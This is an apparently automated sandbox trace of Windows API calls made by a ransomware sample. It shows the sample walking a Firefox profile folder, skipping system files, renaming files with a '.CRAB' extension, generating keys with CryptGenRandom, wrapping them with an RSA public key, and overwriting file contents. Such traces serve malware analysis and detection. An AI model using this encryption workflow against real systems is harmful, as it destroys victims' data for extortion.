	[0123.667] lstrcmpiW (lpString1="times.json", lpString2="desktop.ini") returned 1
	[0123.667] lstrcmpiW (lpString1="times.json", lpString2="autorun.inf") returned 1
	[0123.667] lstrcmpiW (lpString1="times.json", lpString2="ntuser.dat") returned 1
	[0123.667] lstrcmpiW (lpString1="times.json", lpString2="iconcache.db") returned 1
	[0123.667] lstrcmpiW (lpString1="times.json", lpString2="bootsect.bak") returned 1
	[0123.667] lstrcmpiW (lpString1="times.json", lpString2="boot.ini") returned 1
	[0123.667] lstrcmpiW (lpString1="times.json", lpString2="ntuser.dat.log") returned 1
	[0123.667] lstrcmpiW (lpString1="times.json", lpString2="thumbs.db") returned 1
	[0123.667] lstrcmpiW (lpString1="times.json", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.667] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.667] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json.CRAB") returned 95
	[0123.667] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\times.json")) returned 0x20
	[0123.672] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json", dwFileAttributes=0x20) returned 1
	[0123.672] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\times.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\times.json.crab")) returned 1
	[0123.673] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.673] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json.CRAB"
	[0123.674] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json.CRAB.CRAB"
	[0123.674] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0123.674] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.675] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.675] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.675] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0123.675] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.675] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.675] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e738) returned 1
	[0123.675] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.676] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.676] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.676] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0123.676] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0123.676] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.676] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.677] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.677] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0123.677] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x31668a0) returned 1
	[0123.677] CryptGetKeyParam (in: hKey=0x31668a0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.677] CryptEncrypt (in: hKey=0x31668a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0123.678] GetLastError () returned 0x0
	[0123.678] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.678] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e6b0) returned 1
	[0123.678] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3166ca0) returned 1
	[0123.678] CryptGetKeyParam (in: hKey=0x3166ca0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.678] CryptEncrypt (in: hKey=0x3166ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0123.679] GetLastError () returned 0x0
	[0123.679] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0123.679] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\times.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0123.679] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.679] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.680] ReadFile (in: hFile=0x3e0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3149f24*=0x1d, lpOverlapped=0x0) returned 1
	[0123.692] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.692] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.693] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.693] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffffe3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.693] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x20, lpOverlapped=0x0) returned 1
	[0123.693] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.693] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.698] WriteFile (in: hFile=0x3e0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.698] WriteFile (in: hFile=0x3e0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.698] WriteFile (in: hFile=0x3e0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0123.698] CloseHandle (hObject=0x3e0) returned 1
	[0123.698] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.698] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.698] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.699] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.699] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.699] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.699] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0123.699] lstrcmpW (lpString1="webappsstore.sqlite", lpString2=".") returned 1
	[0123.699] lstrcmpW (lpString1="webappsstore.sqlite", lpString2="..") returned 1
	[0123.699] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="webappsstore.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite"
	[0123.699] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.700] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite") returned 99
	[0123.700] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite") returned 99
	[0123.700] lstrlenW (lpString=".sqlite") returned 7
	[0123.700] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.700] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sqlite ") returned 8
	[0123.700] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.700] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite") returned 99
	[0123.700] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite") returned 99
	[0123.700] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="desktop.ini") returned 1
	[0123.700] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="autorun.inf") returned 1
	[0123.700] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="ntuser.dat") returned 1
	[0123.700] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="iconcache.db") returned 1
	[0123.700] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="bootsect.bak") returned 1
	[0123.701] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="boot.ini") returned 1
	[0123.701] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="ntuser.dat.log") returned 1
	[0123.701] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="thumbs.db") returned 1
	[0123.701] lstrcmpiW (lpString1="webappsstore.sqlite", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.701] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.701] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite.CRAB") returned 104
	[0123.701] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\webappsstore.sqlite")) returned 0x20
	[0123.702] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite", dwFileAttributes=0x20) returned 1
	[0123.702] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\webappsstore.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\webappsstore.sqlite.crab")) returned 1
	[0123.703] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.703] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite.CRAB"
	[0123.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite.CRAB.CRAB"
	[0123.703] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ed98) returned 1
	[0123.704] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.704] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.704] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.704] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0123.705] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0123.705] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.705] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0123.705] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.706] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.706] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.706] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0123.706] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0123.706] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.706] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.706] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.707] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0123.707] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3166d60) returned 1
	[0123.707] CryptGetKeyParam (in: hKey=0x3166d60, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.707] CryptEncrypt (in: hKey=0x3166d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0123.707] GetLastError () returned 0x0
	[0123.707] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.708] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6ed98) returned 1
	[0123.708] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3166aa0) returned 1
	[0123.708] CryptGetKeyParam (in: hKey=0x3166aa0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.708] CryptEncrypt (in: hKey=0x3166aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0123.708] GetLastError () returned 0x0
	[0123.708] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0123.708] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\webappsstore.sqlite.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0123.709] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.709] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.709] ReadFile (in: hFile=0x3e0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3149f24*=0x18000, lpOverlapped=0x0) returned 1
	[0123.761] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.767] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0123.769] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.770] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffe8000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.770] WriteFile (in: hFile=0x3e0, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x18000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x3149f14*=0x18000, lpOverlapped=0x0) returned 1
	[0123.770] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.771] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.775] WriteFile (in: hFile=0x3e0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.775] WriteFile (in: hFile=0x3e0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.775] WriteFile (in: hFile=0x3e0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0123.775] CloseHandle (hObject=0x3e0) returned 1
	[0123.775] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.776] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.776] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.776] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.776] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.776] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.777] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0123.777] lstrcmpW (lpString1="xulstore.json", lpString2=".") returned 1
	[0123.777] lstrcmpW (lpString1="xulstore.json", lpString2="..") returned 1
	[0123.777] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="xulstore.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json"
	[0123.777] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.777] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json") returned 93
	[0123.777] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json") returned 93
	[0123.777] lstrlenW (lpString=".json") returned 5
	[0123.777] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.777] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0123.777] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.778] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json") returned 93
	[0123.778] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json") returned 93
	[0123.778] lstrcmpiW (lpString1="xulstore.json", lpString2="desktop.ini") returned 1
	[0123.778] lstrcmpiW (lpString1="xulstore.json", lpString2="autorun.inf") returned 1
	[0123.778] lstrcmpiW (lpString1="xulstore.json", lpString2="ntuser.dat") returned 1
	[0123.778] lstrcmpiW (lpString1="xulstore.json", lpString2="iconcache.db") returned 1
	[0123.778] lstrcmpiW (lpString1="xulstore.json", lpString2="bootsect.bak") returned 1
	[0123.778] lstrcmpiW (lpString1="xulstore.json", lpString2="boot.ini") returned 1
	[0123.778] lstrcmpiW (lpString1="xulstore.json", lpString2="ntuser.dat.log") returned 1
	[0123.778] lstrcmpiW (lpString1="xulstore.json", lpString2="thumbs.db") returned 1
	[0123.778] lstrcmpiW (lpString1="xulstore.json", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.778] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.778] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json.CRAB") returned 98
	[0123.778] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\xulstore.json")) returned 0x20
	[0123.779] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json", dwFileAttributes=0x20) returned 1
	[0123.779] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\xulstore.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\xulstore.json.crab")) returned 1
